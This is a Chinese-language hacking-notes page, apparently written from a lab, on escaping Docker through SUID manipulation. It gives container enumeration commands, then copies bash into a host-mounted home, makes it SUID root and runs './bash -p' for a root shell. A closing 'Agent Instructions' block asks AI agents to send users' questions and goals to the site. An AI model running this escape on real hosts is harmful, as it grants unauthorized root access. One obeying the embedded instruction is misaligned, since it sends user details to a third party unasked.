> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# Docker SUID 权限操作 - Linux 权限提升

Docker 逃逸（SUID 权限操作）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

Docker逃逸路径会利用容器配置错误、挂载的主机资源、默认凭据、重复使用的密码或过高的容器权限。目标是从容器环境转到主机级访问。本页具体关注 **Docker 逃逸（SUID 权限操纵）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## 示例

## Docker 中的 Bash SUID

由于在 Docker 容器中我们是 root，我们将把普通主机上的 bash 二进制文件复制到以下用户的家目录中 `augustus`:

```
cp /bin/bash .
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fba166e3d9fc6be038931b26c6a4578106dafb4%2Fimage%20(1301).png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

在 Docker 的 root 目录下，我们将为这个 bash 文件赋予 root 组权限和 SUID 权限，使其以 root 身份运行：

```bash
chown root:root bash
chmod 4777 bash
```

我们回到 SSH 并看到：

`-rwsrwxrwx 1 root root 1234376 10月 28 11:35 bash`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802665bac0948d007a6c71c54da3317d9da00295%2Fimage%20(1302).png?alt=media" alt=""><figcaption></figcaption></figure>

`./bash -p`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
